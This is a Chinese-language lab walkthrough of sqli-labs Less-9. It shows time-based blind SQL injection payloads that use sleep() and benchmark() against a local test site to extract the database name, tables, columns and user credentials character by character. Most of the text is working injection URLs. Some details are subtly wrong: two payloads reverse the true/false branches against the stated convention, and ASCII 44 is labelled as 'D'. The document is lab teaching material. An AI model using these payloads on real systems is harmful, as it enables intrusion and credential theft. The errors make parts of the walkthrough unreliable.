本關我們從標題就可以看到 “時間盲注-單引號”,所以很明顯這關要我們利用延時注入進行,同時id參數進行的是 ' 的處理。這里我們大致的將延時注入的方法演示一次。
延時注入是利用sleep()或benchmark()等函數讓MySQL的執行時間變長。延時注入多與if(expr1,expr2,expr3)結合使用。此if語句含義是:如果expr1是true,則if()的返回值為expr2;否則返回值則為expr3。
這里用sleep()函數。
這里因為我們利用的是時間的延遲,貼圖就沒有意義了,這里只寫payload了:(正確的時候等待5秒鍾,不正確的時候直接返回,只貼正確的)
猜測數據庫:
http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
說明第一位是s (ascii碼是115)
http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+
說明第二位是e (ascii碼是101)
....
以此類推,我們知道了數據庫名字是security
猜測security的數據表:
http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+
猜測第一個數據表的第一位是e,...依次類推,得到emails
http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+
猜測第二個數據表的第一位是r,...依次類推,得到referers
...
再以此類推,我們可以得到所有的數據表emails,referers,uagents,users
猜測users表的列:
http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜測users表的第一個列的第一個字符是i,
以此類推,我們得到列名是id,username,password
猜測username的值:
http://127.0.0.1/sql/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=44,1,sleep(5))--+
猜測username的第一行的第一位是D,
以此類推,我們得到數據列username,password的所有內容
以上的過程就是我們利用sleep()函數注入的整個過程,當然了我們也可以使用benchmark()函數進行注入,舉例如下:
猜測數據庫的第一位是s,
http://127.0.0.1/sql/Less-9/?id=1' and if(substring(database(),1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),1)--+
當結果正確的時候,運行ENCODE('MSG','by 5 seconds')操作50000000次,會占用一段時間。
其他步驟類似,我們這里就不進行演示了。
